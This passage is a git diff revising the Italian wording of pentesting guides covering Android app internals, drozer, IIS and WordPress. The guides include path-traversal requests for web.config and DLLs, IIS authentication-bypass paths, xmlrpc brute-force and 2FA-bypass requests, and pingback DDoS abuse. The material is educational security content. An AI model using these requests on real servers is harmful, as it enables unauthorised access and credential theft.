questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android. +Nello sviluppo Android, **Java o Kotlin** viene utilizzato per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Executable (DEX)**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android. Per il reverse engineering, **Smali** diventa cruciale. È la versione leggibile dall'uomo del bytecode DEX, che agisce come un linguaggio assembly traducendo il codice sorgente in istruzioni bytecode. Smali e baksmali si riferiscono agli strumenti di assemblaggio e disassemblaggio in questo contesto. @@ -102,7 +102,7 @@ Per il reverse engineering, **Smali** diventa cruciale. È la versione leggibile Gli Intents sono il principale mezzo attraverso il quale le app Android comunicano tra i loro componenti o con altre app. Questi oggetti messaggio possono anche trasportare dati tra app o componenti, simile a come vengono utilizzate le richieste GET/POST nelle comunicazioni HTTP. Quindi un Intent è fondamentalmente un **messaggio che viene passato tra i componenti**. Gli Intents **possono essere diretti** a componenti o app specifiche, **o possono essere inviati senza un destinatario specifico**.\ -Per essere semplici, l'Intent può essere utilizzato: +Per essere semplici, gli Intent possono essere utilizzati: - Per avviare un'Activity, tipicamente aprendo un'interfaccia utente per un'app - Come trasmissioni per informare il sistema e le app di cambiamenti @@ -114,11 +114,11 @@ Se vulnerabili, **gli Intents possono essere utilizzati per eseguire una variet ### Intent-Filter -**I Filtri di Intent** definiscono **come un'attività, un servizio o un Broadcast Receiver possono interagire con diversi tipi di Intents**. Fondamentalmente, descrivono le capacità di questi componenti, come quali azioni possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del **file AndroidManifest.xml**, anche se per i Broadcast Receiver, codificarli è anche un'opzione. +**I Filtri di Intent** definiscono **come un'attività, un servizio o un Broadcast Receiver possono interagire con diversi tipi di Intents**. Fondamentalmente, descrivono le capacità di questi componenti, come quali azioni possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del **file AndroidManifest.xml**, anche se per i Broadcast Receivers, codificarli è anche un'opzione. I Filtri di Intent sono composti da categorie, azioni e filtri di dati, con la possibilità di includere metadati aggiuntivi. Questa configurazione consente ai componenti di gestire specifici Intents che corrispondono ai criteri dichiarati. -Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/receiver di trasmissione) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se è dichiarato un Filtro di Intent per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest. +Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/broadcast receiver) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se un Filtro di Intent è dichiarato per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest. Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'accesso a questi componenti richiedendo permessi specifici. L'attributo **`permission`** può essere impostato per imporre che solo le app con il permesso designato possano accedere al componente, aggiungendo un ulteriore livello di sicurezza e controllo su chi può interagire con esso. ```java @@ -126,7 +126,7 @@ Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'acc ``` -### Intents impliciti +### Intents Impliciti Gli intent vengono creati programmaticamente utilizzando un costruttore di Intent: ```java @@ -145,9 +145,9 @@ Questo intento dovrebbe essere dichiarato all'interno del manifest come nel segu ``` Un intent-filter deve corrispondere all'**azione**, ai **dati** e alla **categoria** per ricevere un messaggio. -Il processo di "risoluzione dell'Intent" determina quale app dovrebbe ricevere ciascun messaggio. Questo processo considera l'**attributo di priorità**, che può essere impostato nella **dichiarazione dell'intent-filter**, e **quella con la priorità più alta sarà selezionata**. Questa priorità può essere impostata tra -1000 e 1000 e le applicazioni possono utilizzare il valore `SYSTEM_HIGH_PRIORITY`. Se si verifica un **conflitto**, appare una finestra "choser" in modo che **l'utente possa decidere**. +Il processo di "risoluzione dell'intent" determina quale app dovrebbe ricevere ciascun messaggio. Questo processo considera l'**attributo di priorità**, che può essere impostato nella **dichiarazione dell'intent-filter**, e **quella con la priorità più alta sarà selezionata**. Questa priorità può essere impostata tra -1000 e 1000 e le applicazioni possono utilizzare il valore `SYSTEM_HIGH_PRIORITY`. Se si verifica un **conflitto**, appare una finestra "choser" in modo che **l'utente possa decidere**. -### Intents Espliciti +### Explicit Intents Un intent esplicito specifica il nome della classe che sta mirando: ```java @@ -165,14 +165,14 @@ Questi consentono ad altre applicazioni di **eseguire azioni per conto della tua ### Broadcast Intents -A differenza degli intent precedenti, che sono ricevuti solo da un'app, gli intent broadcast **possono essere ricevuti da più app**. Tuttavia, dalla versione API 14, è **possibile specificare l'app che dovrebbe ricevere** il messaggio utilizzando Intent.setPackage. +A differenza degli intent precedenti, che sono ricevuti solo da un'app, i broadcast intents **possono essere ricevuti da più app**. Tuttavia, dalla versione API 14, è **possibile specificare l'app che dovrebbe ricevere** il messaggio utilizzando Intent.setPackage. In alternativa, è anche possibile **specificare un permesso quando si invia il broadcast**. L'app ricevente avrà bisogno di avere quel permesso. Ci sono **due tipi** di Broadcast: **Normale** (asincrono) e **Ordinato** (sincrono). L'**ordine** si basa sulla **priorità configurata all'interno dell'elemento ricevente**. **Ogni app può elaborare, inoltrare o scartare il Broadcast.** È possibile **inviare** un **broadcast** utilizzando la funzione `sendBroadcast(intent, receiverPermission)` dalla classe `Context`.\ -Puoi anche utilizzare la funzione **`sendBroadcast`** da **`LocalBroadCastManager`** che garantisce che il **messaggio non esca mai dall'app**. Utilizzando questo non avrai nemmeno bisogno di esportare un componente ricevente. +Puoi anche utilizzare la funzione **`sendBroadcast`** dalla **`LocalBroadCastManager`** che garantisce che il **messaggio non esca mai dall'app**. Utilizzando questo non avrai nemmeno bisogno di esportare un componente ricevente. ### Sticky Broadcasts @@ -221,11 +221,11 @@ Il **Android Interface Definition Language (AIDL)** è progettato per facilitare ### Concetti Chiave -- **Servizi Bindati**: Questi servizi utilizzano AIDL per IPC, consentendo ad attività o componenti di collegarsi a un servizio, fare richieste e ricevere risposte. Il metodo `onBind` nella classe del servizio è fondamentale per avviare l'interazione, segnalandolo come un'area vitale per la revisione della sicurezza alla ricerca di vulnerabilità. +- **Servizi Legati**: Questi servizi utilizzano AIDL per IPC, consentendo ad attività o componenti di collegarsi a un servizio, fare richieste e ricevere risposte. Il metodo `onBind` nella classe del servizio è fondamentale per avviare l'interazione, segnalandolo come un'area vitale per la revisione della sicurezza alla ricerca di vulnerabilità. -- **Messenger**: Operando come un servizio bindato, Messenger facilita l'IPC con un focus sul trattamento dei dati attraverso il metodo `onBind`. È essenziale ispezionare questo metodo attentamente per eventuali gestioni di dati non sicure o esecuzione di funzioni sensibili. +- **Messenger**: Operando come un servizio legato, il Messenger facilita l'IPC con un focus sul trattamento dei dati attraverso il metodo `onBind`. È essenziale ispezionare questo metodo attentamente per eventuali gestioni di dati non sicure o esecuzione di funzioni sensibili. -- **Binder**: Sebbene l'uso diretto della classe Binder sia meno comune a causa dell'astrazione di AIDL, è utile comprendere che Binder funge da driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di diversi processi. Per ulteriori informazioni, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). +- **Binder**: Sebbene l'uso diretto della classe Binder sia meno comune a causa dell'astrazione di AIDL, è utile comprendere che il Binder funge da driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di diversi processi. Per ulteriori informazioni, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). ## Componenti @@ -236,7 +236,7 @@ Questi includono: **Attività, Servizi, Ricevitori di Broadcast e Provider.** Nelle app Android, le **attività** sono come schermi, mostrando diverse parti dell'interfaccia utente dell'app. Un'app può avere molte attività, ognuna delle quali presenta uno schermo unico all'utente. L'**attività di lancio** è il principale gateway a un'app, avviata quando tocchi l'icona dell'app. È definita nel file manifest dell'app con intent specifici MAIN e LAUNCHER: -```markup +```html @@ -256,7 +256,7 @@ Il ciclo di vita di un'attività **inizia con il metodo onCreate**, impostando l ### Sottoclasse dell'Applicazione -Nello sviluppo Android, un'app ha la possibilità di creare una **sottoclasse** della classe [Application](https://developer.android.com/reference/android/app/Application), anche se non è obbligatorio. Quando tale sottoclasse è definita, diventa la prima classe a essere istanziata all'interno dell'app. Il metodo **`attachBaseContext`**, se implementato in questa sottoclasse, viene eseguito prima del metodo **`onCreate`**. Questa configurazione consente un'inizializzazione anticipata prima che il resto dell'applicazione inizi. +Nello sviluppo Android, un'app ha l'opzione di creare una **sottoclasse** della [Application](https://developer.android.com/reference/android/app/Application) classe, anche se non è obbligatorio. Quando tale sottoclasse è definita, diventa la prima classe a essere istanziata all'interno dell'app. Il metodo **`attachBaseContext`**, se implementato in questa sottoclasse, viene eseguito prima del metodo **`onCreate`**. Questa configurazione consente un'inizializzazione anticipata prima che il resto dell'applicazione inizi. ```java public class MyApp extends Application { @Override @@ -274,9 +274,9 @@ super.onCreate(); ``` ### Servizi -[I servizi](https://developer.android.com/guide/components/services) sono **operativi in background** capaci di eseguire compiti senza un'interfaccia utente. Questi compiti possono continuare a funzionare anche quando gli utenti passano ad altre applicazioni, rendendo i servizi cruciali per **operazioni a lungo termine**. +[Servizi](https://developer.android.com/guide/components/services) sono **operativi in background** capaci di eseguire compiti senza un'interfaccia utente. Questi compiti possono continuare a funzionare anche quando gli utenti passano ad altre applicazioni, rendendo i servizi cruciali per **operazioni a lungo termine**. -I servizi sono versatili; possono essere avviati in vari modi, con gli **Intent** che sono il metodo principale per lanciarli come punto di ingresso di un'applicazione. Una volta che un servizio è avviato utilizzando il metodo `startService`, il suo metodo `onStart` entra in azione e continua a funzionare fino a quando il metodo `stopService` non viene chiamato esplicitamente. In alternativa, se il ruolo di un servizio dipende da una connessione client attiva, il metodo `bindService` viene utilizzato per legare il client al servizio, attivando il metodo `onBind` per il passaggio dei dati. +I servizi sono versatili; possono essere avviati in vari modi, con **Intents** che sono il metodo principale per lanciarli come punto di ingresso di un'applicazione. Una volta che un servizio è avviato utilizzando il metodo `startService`, il suo metodo `onStart` entra in azione e continua a funzionare fino a quando il metodo `stopService` non viene esplicitamente chiamato. In alternativa, se il ruolo di un servizio dipende da una connessione client attiva, il metodo `bindService` viene utilizzato per legare il client al servizio, attivando il metodo `onBind` per il passaggio dei dati. Un'applicazione interessante dei servizi include la riproduzione di musica in background o il recupero di dati di rete senza ostacolare l'interazione dell'utente con un'app. Inoltre, i servizi possono essere resi accessibili ad altri processi sullo stesso dispositivo attraverso **l'esportazione**. Questo non è il comportamento predefinito e richiede una configurazione esplicita nel file Android Manifest: ```xml @@ -284,9 +284,9 @@ Un'applicazione interessante dei servizi include la riproduzione di musica in ba ``` ### Broadcast Receivers -**I broadcast receiver** agiscono come ascoltatori in un sistema di messaggistica, consentendo a più applicazioni di rispondere agli stessi messaggi dal sistema. Un'app può **registrare un ricevitore** in **due modi principali**: attraverso il **Manifest** dell'app o **dinamicamente** nel codice dell'app tramite l'API **`registerReceiver`**. Nel Manifest, le trasmissioni sono filtrate con permessi, mentre i ricevitori registrati dinamicamente possono anche specificare permessi al momento della registrazione. +**I Broadcast receivers** fungono da ascoltatori in un sistema di messaggistica, consentendo a più applicazioni di rispondere agli stessi messaggi dal sistema. Un'app può **registrare un ricevitore** in **due modi principali**: attraverso il **Manifest** dell'app o **dinamicamente** nel codice dell'app tramite l'API **`registerReceiver`**. Nel Manifest, le trasmissioni sono filtrate con permessi, mentre i ricevitori registrati dinamicamente possono anche specificare permessi al momento della registrazione. -**I filtri di Intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, ad esempio modificando il comportamento in risposta a un avviso di batteria scarica. +**I filtri di Intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, ad esempio, modificando il comportamento in risposta a un avviso di batteria scarica. Le trasmissioni possono essere **asincrone**, raggiungendo tutti i ricevitori senza ordine, o **sincrone**, dove i ricevitori ricevono la trasmissione in base a priorità impostate. Tuttavia, è importante notare il potenziale rischio per la sicurezza, poiché qualsiasi app può dare priorità a se stessa per intercettare una trasmissione. @@ -294,11 +294,11 @@ Per comprendere la funzionalità di un ricevitore, cerca il metodo **`onReceive` ### Content Provider -**I Content Provider** sono essenziali per **condividere dati strutturati** tra app, sottolineando l'importanza di implementare **permessi** per garantire la sicurezza dei dati. Consentono alle app di accedere ai dati provenienti da varie fonti, inclusi database, filesystem o il web. Permessi specifici, come **`readPermission`** e **`writePermission`**, sono cruciali per controllare l'accesso. Inoltre, l'accesso temporaneo può essere concesso tramite le impostazioni **`grantUriPermission`** nel manifest dell'app, sfruttando attributi come `path`, `pathPrefix` e `pathPattern` per un controllo dettagliato dell'accesso. +**I Content Providers** sono essenziali per **condividere dati strutturati** tra app, sottolineando l'importanza di implementare **permessi** per garantire la sicurezza dei dati. Consentono alle app di accedere ai dati provenienti da varie fonti, inclusi database, filesystem o il web. Permessi specifici, come **`readPermission`** e **`writePermission`**, sono cruciali per controllare l'accesso. Inoltre, l'accesso temporaneo può essere concesso tramite le impostazioni **`grantUriPermission`** nel manifest dell'app, sfruttando attributi come `path`, `pathPrefix` e `pathPattern` per un controllo dettagliato dell'accesso. -La convalida dell'input è fondamentale per prevenire vulnerabilità, come l'iniezione SQL. I Content Provider supportano operazioni di base: `insert()`, `update()`, `delete()`, e `query()`, facilitando la manipolazione e la condivisione dei dati tra le applicazioni. +La convalida dell'input è fondamentale per prevenire vulnerabilità, come l'iniezione SQL. I Content Providers supportano operazioni di base: `insert()`, `update()`, `delete()` e `query()`, facilitando la manipolazione e la condivisione dei dati tra le applicazioni. -**FileProvider**, un Content Provider specializzato, si concentra sulla condivisione sicura di file. È definito nel manifest dell'app con attributi specifici per controllare l'accesso alle cartelle, denotato da `android:exported` e `android:resource` che puntano alle configurazioni delle cartelle. Si consiglia cautela quando si condividono directory per evitare di esporre involontariamente dati sensibili. +**FileProvider**, un Content Provider specializzato, si concentra sulla condivisione sicura dei file. È definito nel manifest dell'app con attributi specifici per controllare l'accesso alle cartelle, indicato da `android:exported` e `android:resource` che puntano alle configurazioni delle cartelle. Si consiglia cautela quando si condividono directory per evitare di esporre involontariamente dati sensibili. Esempio di dichiarazione del manifest per FileProvider: ```xml @@ -340,7 +340,7 @@ Consentire l'accesso ai contenuti (`setAllowContentAccess(true)`) consente ai We Per controllare l'accesso ai file: -- Disabilitare l'accesso ai file (`setAllowFileAccess(false)`) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che siano utilizzati solo per contenuti non sensibili. +- Disabilitare l'accesso ai file (`setAllowFileAccess(false)`) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che vengano utilizzati solo per contenuti non sensibili. ## Altri Componenti dell'App e Gestione dei Dispositivi Mobili @@ -350,7 +350,7 @@ Per controllare l'accesso ai file: ### **Verifica dell'App per Maggiore Sicurezza** -- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura impedire l'installazione di quelle particolarmente dannose, migliorando la sicurezza dell'utente. +- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura impedire l'installazione di quelle particolarmente malevole, migliorando la sicurezza dell'utente. ### **Gestione dei Dispositivi Mobili (MDM)** diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 9c6d7abaa..cc99057ef 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -25,7 +25,7 @@ adb install drozer.apk ``` ### Avviare il Server -Agent è in esecuzione sulla porta 31415, dobbiamo [port forward](https://en.wikipedia.org/wiki/Port_forwarding) per stabilire la comunicazione tra il Drozer Client e l'Agent, qui c'è il comando per farlo: +L'agente è in esecuzione sulla porta 31415, dobbiamo [port forward](https://en.wikipedia.org/wiki/Port_forwarding) per stabilire la comunicazione tra il Drozer Client e l'Agente, qui c'è il comando per farlo: ```bash adb forward tcp:31415 tcp:31415 ``` @@ -102,8 +102,8 @@ is debuggable ### Attività -Il valore “android:exported” di un componente attività esportato è impostato su **“true”** nel file AndroidManifest.xml: -```markup +Il valore “android:exported” di un componente di attività esportato è impostato su **“true”** nel file AndroidManifest.xml: +```html ``` @@ -135,7 +135,7 @@ Questo post era troppo grande per essere qui, quindi **puoi** [**accederci nella ### Services Un servizio esportato è dichiarato all'interno del Manifest.xml: -```markup +```html ``` All'interno del codice **controlla** la funzione **`handleMessage`** che **riceverà** il **messaggio**: @@ -235,18 +235,18 @@ Quando un'applicazione è debuggeable, apparirà nel Manifest: ```xml diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 6f87f58c3..b1be4a76b 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -11,7 +11,7 @@ Testa le estensioni dei file eseguibili: ## Rivelazione dell'indirizzo IP interno -Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indicarti l'indirizzo IP interno: +Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indirizzarti all'indirizzo IP interno: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 @@ -50,7 +50,7 @@ iisfinal.txt [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) -Usalo senza aggiungere alcun'estensione, i file che ne hanno bisogno ce l'hanno già. +Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno ce l'hanno già. ## Traversata del percorso @@ -63,12 +63,12 @@ Controlla il resoconto completo in: [https://blog.mindedsecurity.com/2018/10/fro > Dai **Dll scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\ > Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti. -Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento tramite i tag XML **"assemblyIdentity"**. +Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento attraverso i tag XML **"assemblyIdentity"**. ### **Esplorare file binari** Un esempio di accesso al file **web.config** è mostrato di seguito: -```markup +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` @@ -78,7 +78,7 @@ Questa richiesta rivela varie impostazioni e dipendenze, come: - **AppSettings** per pagine web, validazione client e JavaScript - Configurazioni di **System.web** per autenticazione e runtime - Impostazioni dei moduli di **System.webServer** -- Binding di assembly di **Runtime** per numerose librerie come **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc** +- Bindings di assembly di **Runtime** per numerose librerie come **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc** Queste impostazioni indicano che determinati file, come **/bin/WebGrease.dll**, si trovano all'interno della cartella /bin dell'applicazione. @@ -88,15 +88,15 @@ I file trovati nella directory radice, come **/global.asax** e **/connectionstri ### **Namespace e Web.Config** -Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ciascun file, come dimostrato con una richiesta per scaricare un altro **web.config**: -```markup +Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ogni file, come dimostrato con una richiesta per scaricare un altro **web.config**: +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` -### **Scaricare DLL** +### **Download di DLL** La menzione di uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. A seguire, viene mostrata una richiesta per scaricare la **WebApplication1.dll**: -```markup +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` @@ -187,17 +187,17 @@ C:\xampp\tomcat\conf\server.xml Se vedi un errore come il seguente: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) Significa che il server **non ha ricevuto il nome di dominio corretto** all'interno dell'intestazione Host.\ Per accedere alla pagina web potresti dare un'occhiata al **Certificato SSL** servito e forse puoi trovare il nome del dominio/sottodominio lì. Se non è presente, potresti dover **forzare VHosts** fino a trovare quello corretto. -## Vecchie vulnerabilità IIS da cercare +## Vecchie vulnerabilità di IIS da cercare ### Vulnerabilità/Caratteristica del carattere tilde “\~” di Microsoft IIS – Rivelazione di nomi di file/cartelle brevi Puoi provare a **enumerare cartelle e file** all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa **tecnica**.\ -La principale limitazione di questa tecnica se il server è vulnerabile è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file. +La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ogni file/cartella e i primi 3 caratteri dell'estensione** dei file. Puoi usare [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) per testare questa vulnerabilità:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` @@ -207,17 +207,17 @@ Ricerca originale: [https://soroush.secproject.com/downloadable/microsoft_iis_ti Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner` -Un'idea carina per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) +Una buona idea per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) ### Bypass dell'autenticazione di base -**Bypass** di un'autenticazione di base (**IIS 7.5**) provando ad accedere a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php` +**Bypass** un'autenticazione di base (**IIS 7.5**) provando ad accedere a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php` Puoi provare a **mescolare** questa **vulnerabilità** e l'ultima per trovare nuove **cartelle** e **bypassare** l'autenticazione. ## Debugging ASP.NET Trace.AXD abilitato -ASP.NET include una modalità di debug e il suo file si chiama `trace.axd`. +ASP.NET include una modalità di debugging e il suo file si chiama `trace.axd`. Tiene un log molto dettagliato di tutte le richieste fatte a un'applicazione nel corso del tempo. @@ -236,7 +236,7 @@ ASPXAUTH utilizza le seguenti informazioni: - **`decryptionIV`** (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri). - **`decryptionKey`** (stringa): chiave codificata in esadecimale da utilizzare per la decrittazione. -Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie dal secondo server nel primo** e impersonare l'utente.\ +Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie del secondo server nel primo** e impersonare l'utente.\ Questo attacco ha funzionato in questo [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## Bypass dell'autenticazione IIS con password memorizzate nella cache (CVE-2022-30209) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 4a796e272..55a80f41d 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -35,7 +35,7 @@ ### Permessi degli utenti - **Amministratore** -- **Editore**: Pubblica e gestisce i propri e gli altri post +- **Editore**: Pubblica e gestisce i suoi e gli altri post - **Autore**: Pubblica e gestisce i propri post - **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli - **Sottoscrittore**: Naviga nei post e modifica il proprio profilo @@ -112,7 +112,7 @@ Se `xml-rpc.php` è attivo, puoi eseguire un attacco di brute-force sulle creden Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta: **Controlla** -```markup +```html system.listMethods @@ -122,8 +122,8 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri **Bruteforce delle Credenziali** -**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno, puoi inviare qualcosa come: -```markup +**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovare uno di essi, puoi inviare qualcosa come: +```html wp.getUsersBlogs @@ -132,14 +132,14 @@ Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa ri ``` -Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide. +Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) Utilizzando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +```html wp.uploadFile @@ -174,13 +174,13 @@ C'è anche un **modo più veloce** per forzare le credenziali utilizzando **`sys **Bypass 2FA** -Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Tieni presente che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per accedere con quelle credenziali bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque essere in grado di arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS o scansione delle porte** Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\ Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far 